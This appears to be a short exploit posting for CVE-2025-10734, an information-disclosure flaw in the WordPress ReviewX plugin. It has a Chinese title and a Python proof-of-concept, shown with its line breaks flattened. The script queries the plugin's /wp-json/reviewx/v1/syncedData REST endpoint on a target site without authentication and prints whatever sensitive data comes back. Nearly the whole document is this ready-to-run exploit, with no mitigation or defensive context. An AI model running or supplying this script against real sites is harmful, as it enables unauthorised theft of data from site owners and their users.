CVE-2025-10734 WordPress ReviewX插件信息泄露漏洞

import requests import json def check_vulnerability(target_url): """ Exploit for CVE-2025-10734 (Sensitive Information Exposure) This script attempts to fetch sensitive data from the syncedData endpoint. """ # The endpoint path might vary based on plugin configuration, typically under wp-json endpoint = "/wp-json/reviewx/v1/syncedData" full_url = f"{target_url.rstrip('/')}{endpoint}" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: response = requests.get(full_url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Target is vulnerable: {full_url}") print("[+] Leaked Data:") try: data = response.json() print(json.dumps(data, indent=2)) except json.JSONDecodeError: print(response.text) else: print(f"[-] Target appears not vulnerable or endpoint changed. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with the actual target URL check_vulnerability(target)